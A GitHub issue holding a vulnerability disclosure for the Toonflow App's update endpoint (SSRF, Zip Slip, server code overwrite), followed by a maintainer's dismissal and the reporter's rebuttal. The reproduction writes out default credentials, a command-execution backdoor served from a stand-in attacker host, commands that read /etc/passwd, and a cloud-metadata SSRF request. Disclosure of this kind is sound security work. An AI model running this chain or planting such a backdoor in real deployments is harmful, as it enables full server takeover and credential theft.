New issue

Remote Code Execution via Malicious Update Package #96

Closed

August829 opened 3 weeks ago

CVE Report: Remote Code Execution via Malicious Update Package (Zip Slip + SSRF)

Vulnerability Information

- **Project:** Toonflow App
- **Project URL:** https://github.com/HBAI-Ltd/Toonflow-app
- **Affected Version:** v1.1.1 (and likely all prior versions)
- **Vulnerability Type:** Remote Code Execution (RCE) via SSRF + Zip Slip + Arbitrary File Overwrite
- **Severity:** Critical
- **CVSS v3.1 Score:** 10.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
- **CWE:** CWE-918 (SSRF), CWE-22 (Path Traversal), CWE-494 (Download of Code Without Integrity Check)
- **File:** `src/routes/setting/about/downloadApp.ts` (lines 11-48)

Summary

The Toonflow application's update mechanism (`/api/setting/about/downloadApp`) downloads a ZIP file from a user-controlled URL without any integrity verification (no signature, no checksum, no domain allowlist). The ZIP is extracted without path traversal validation, and its contents are then copied directly over the application's own server code (`data/serve/`), web frontend (`data/web/`), prompt templates (`data/skills/`), and ML models (`data/models/`). An authenticated attacker can supply a URL pointing to a malicious ZIP file to achieve complete remote code execution by replacing the application's server-side JavaScript.

Root Cause Analysis

The vulnerability is a chain of three distinct flaws:

1. SSRF — Unrestricted URL Fetch (line 25):

```
// src/routes/setting/about/downloadApp.ts line 25
const zip = await axios.get(url, { responseType: "arraybuffer" }).then((res) => res.dat...
```

The `url` parameter is validated only as `z.url()` which checks URL format but does not restrict protocol, hostname, or IP range. The server fetches any URL the attacker provides.

2. Zip Slip — No Archive Path Validation (line 27):

```
// line 27
await compressing.zip.uncompress(`${rootDir}/latest.zip`, rootDir);
```

The ZIP file is extracted directly to the `temp` directory using `compressing.zip.uncompress()` with no validation of archive entry paths. Malicious entries with `../` in their paths can write files outside the intended directory.

3. Arbitrary Code Deployment — Server Code Overwrite (lines 28-43):

```
// lines 28-43
const tempServerPath = u.getPath(["temp", "serve"]);
if (fs.existsSync(tempServerPath)) {
  fs.cpSync(tempServerPath, u.getPath(["serve"]), { recursive: true, force: true });
}
const webPath = u.getPath(["temp", "web"]);
if (fs.existsSync(webPath)) {
  fs.cpSync(webPath, u.getPath(["web"]), { recursive: true, force: true });
}
const tempSkillsPath = u.getPath(["temp", "skills"]);
if (fs.existsSync(tempSkillsPath)) {
  fs.cpSync(tempSkillsPath, u.getPath(["skills"]), { recursive: true, force: true });
}
const tempModelsPath = u.getPath(["temp", "models"]);
if (fs.existsSync(tempModelsPath)) {
  fs.cpSync(tempModelsPath, u.getPath(["models"]), { recursive: true, force: true });
}
```

After extraction, files from `temp/serve/`, `temp/web/`, `temp/skills/`, and `temp/models/` are copied with `force: true` over the application's active directories — effectively replacing the running application code.

Detailed Reproduction

Prerequisites

- A running Toonflow instance (default port: `10588`)
- Valid authentication credentials (default: `admin:admin123`)
- Attacker-controlled HTTP server to host the malicious ZIP

Step 1: Obtain JWT Token

```
TOKEN=$(curl -s -X POST http://localhost:10588/api/login/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin123"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")

echo "Token: $TOKEN"
```

Step 2: Create Malicious ZIP File

Create a ZIP file containing a backdoored `serve/app.js`:

```
# Create directory structure matching the expected layout
mkdir -p /tmp/malicious-update/serve
mkdir -p /tmp/malicious-update/web

# Create backdoored server code
cat > /tmp/malicious-update/serve/app.js << 'PAYLOAD'
const http = require('http');
const { execSync } = require('child_process');

// Backdoor: execute commands via GET parameter
const server = http.createServer((req, res) => {
  const url = new URL(req.url, 'http://localhost');
  const cmd = url.searchParams.get('cmd');
  if (cmd) {
    try {
      const output = execSync(cmd).toString();
      res.end(output);
    } catch(e) {
      res.end(e.message);
    }
  } else {
    res.end('Backdoor active');
  }
});
server.listen(10588, () => console.log('Backdoor listening on 10588'));
PAYLOAD

# Create a minimal web index
echo '<h1>Compromised</h1>' > /tmp/malicious-update/web/index.html
```

```
# Create the ZIP
cd /tmp/malicious-update
zip -r /tmp/malicious-update.zip serve/ web/
```

Step 3: Host the Malicious ZIP

```
# Start a simple HTTP server to serve the ZIP
cd /tmp
python3 -m http.server 9999 &
ATTACKER_URL="http://attacker-server:9999/malicious-update.zip"
```

Step 4: Trigger the Malicious Update

```
curl -s -X POST http://localhost:10588/api/setting/about/downloadApp \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN" \
  -d "{
    \"url\": \"$ATTACKER_URL\",
    \"reinstall\": false,
    \"version\": \"9.9.9\"
  }"
```

Expected Response:

```
{
  "code": 200,
  "data": "更新9.9.9成功，5秒后重启"
}
```

Step 5: Verify Server Code Replacement

```
# Check that the server code was overwritten
cat $(find /path/to/toonflow/data/serve -name "app.js" 2>/dev/null)
# Output should show the backdoor code

# After restart, the backdoor is active:
curl "http://localhost:10588/?cmd=id"
# Expected: uid=501(appuser) gid=20(staff) groups=20(staff)

curl "http://localhost:10588/?cmd=cat%20/etc/passwd"
# Expected: contents of /etc/passwd
```

Step 6: Verify SSRF Component (Internal Network Access)

Even without code replacement, the SSRF alone is exploitable:

```
# Fetch cloud metadata
curl -s -X POST http://localhost:10588/api/setting/about/downloadApp \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN" \
  -d '{
    "url": "http://169.254.169.254/latest/meta-data/",
    "reinstall": false,
    "version": "1.0.0"
  }'
# The server will attempt to fetch the cloud metadata endpoint
```

Impact

- **Full server compromise:** Attacker replaces application server code with a backdoor
- **Supply chain attack:** The malicious code is deployed as a legitimate "update"
- **Persistent access:** Backdoor persists across application restarts
- **SSRF:** Even without RCE, the SSRF component allows access to internal networks and cloud metadata
- **Data destruction:** Overwriting `data/skills/` and `data/models/` destroys prompt templates and ML models

---

Remediation

1. **Validate update URLs** against a hardcoded allowlist of trusted domains
2. **Verify ZIP integrity** with cryptographic signatures (GPG or code signing) before extraction
3. **Validate archive entries** — reject any entry containing `../` or absolute paths
4. **Never overwrite running server code** from user-triggered operations
5. **Implement proper update verification** using checksums from a signed manifest file:

```
// Example: verify update signature before applying
const manifest = await fetch(TRUSTED_MANIFEST_URL);
const expectedHash = manifest.data.sha256;
const actualHash = crypto.createHash('sha256').update(zipBuffer).digest('hex');
if (actualHash !== expectedHash) {
  throw new Error('Update integrity check failed');
}
```

References

- CWE-918: Server-Side Request Forgery
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory
- CWE-494: Download of Code Without Integrity Check
- Zip Slip Vulnerability

1340145680 3 weeks ago Collaborator •••

Thank you for your submission. This interface is used for online updates, and the update URL has been statically compiled in the official code repository. Unless users modify the code, the requested address will be the official source address.

1340145680 closed this as completed 3 weeks ago

August829 3 weeks ago Author •••

@1340145680
Thank you for your response. However, the existence of this vulnerability is not mitigated by having the update URL statically set in the official code repository. The core issue is that the backend does not enforce any allowlist or integrity verification for the update package. If a user or administrator ever changes the update URL (intentionally or unintentionally), or if the code is forked or reused in another context, the application becomes immediately vulnerable to remote code execution and supply chain attacks.

Security best practices require that the backend strictly validates update sources and verifies the integrity of update packages, regardless of how the URL is set in the code. Relying on users not modifying the code is not a sufficient security measure. The lack of archive path validation and signature checking means that any compromise of the update source, or any change to the URL, can lead to full server compromise.

I strongly recommend implementing a hardcoded allowlist of trusted update domains, verifying cryptographic signatures for update packages, and validating archive entries to prevent path traversal. This will ensure that even if the update URL is changed, the application remains secure against these critical attack vectors.

Sign up for free **to join this conversation on GitHub.** Already have an account? Sign in to comment

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants